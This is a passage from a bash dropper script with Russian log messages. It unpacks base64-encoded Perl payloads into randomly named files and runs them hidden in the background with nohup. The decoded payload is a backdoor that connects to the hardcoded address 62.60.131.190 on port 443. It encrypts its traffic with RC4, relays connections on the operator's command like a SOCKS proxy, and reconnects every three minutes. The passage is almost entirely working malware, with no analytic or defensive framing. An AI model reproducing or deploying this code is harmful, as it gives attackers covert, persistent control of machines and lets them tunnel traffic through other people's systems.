eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #41 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #41 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 42 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk 